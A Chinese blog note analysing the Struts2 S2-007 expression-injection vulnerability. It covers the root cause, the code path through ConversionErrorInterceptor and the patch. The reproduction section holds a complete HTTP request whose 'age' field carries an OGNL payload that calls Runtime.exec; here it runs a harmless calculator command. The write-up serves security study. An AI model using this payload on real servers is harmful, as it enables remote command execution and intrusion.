Struts2漏洞笔记之S2-007
漏洞原理
版本影响:2.0.0 ~ 2.2.3
测试环境:Struts2-2.2.3、tomcat-8.5.0
漏洞原理
在类型转换错误下,拦截器会将用户输入取出插入到当前值栈中,之后会对标签进行解析进行二次表达式解析,造成表达式注入
漏洞分析
Struts2接收用户输入时会默认进行类型转换为String,便于Action操作,当配置参数类型过滤器,限制参数为整数型,回导致类型转换失败,触发拦截器ConversionErrorInterceptor
ConversionErrorInterceptor.intercept
方法中做了两个敏感操作,StrutsConversionErrorInterceptor#getOverrideExpr
解析当前表达式为ASTpropery并取出,
第二步存入该值到值栈stack中。
接着会调用调用FormTag处理对应表单标签转换对象,利用TextFiled处理age属性,在处理结束标签doEndTag
中,会对html
页面中的value值即对应的nameValue
值进行获取.回尝试获取值栈中的overrides值,存在则会进行表达式解析.
漏洞复现
POST /Struts2_006_war/login.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 229
Origin: http://localhost:8085
DNT: 1
Connection: close
Referer: http://localhost:8085/Struts2_006_war/
Cookie: JSESSIONID=A924E4DE6CEA02F026AD3C92AC983722
Upgrade-Insecure-Requests: 1
name=123&email=1&age='%2b(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23context["xwork.MethodAccessor.denyMethodExecution"]%3dfalse,%40java.lang.Runtime%40getRuntime().exec("open+/System/Applications/Calculator.app"))%2b'
漏洞修复
版本struts2-2.2.3.1中利用org.apache.commons.lang.StringEscapeUtils.escapeJava
过滤字符串,转义字符串,防止单引号逃逸.
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!